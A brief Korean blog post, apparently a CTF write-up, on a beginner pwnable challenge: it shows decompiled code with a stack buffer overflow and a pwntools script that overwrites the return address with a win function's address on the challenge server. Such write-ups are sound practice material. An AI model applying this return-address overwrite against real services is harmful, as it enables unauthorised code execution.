반응형
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[48]; // [rsp+0h] [rbp-30h] BYREF
init();
memset(s, 0, 0x28uLL);
puts("Do you know pwnable?");
read(0, s, 0x40uLL);
return 0;
}
main은 이게 전부고
NX만 존재
그냥 RET를 win 함수로 바꾸려 BOF하면 된다.
0x38까지, SFP를 덮고
0x8을 win함수 주소로 채운다.
from pwn import *
p = remote('pwn.h4ckingga.me', 10001)
#p = process('./welcome')
p.recvuntil('?\n')
win = 0x00000000004006c7
payload = 'A'*0x38 + p64(win)
p.send(payload)
p.interactive()
언젠진 모르겠는데 이미 풀어뒀더라.. 로컬에선 안 되는데 서버로 제출하니 된다(왜지?)
반응형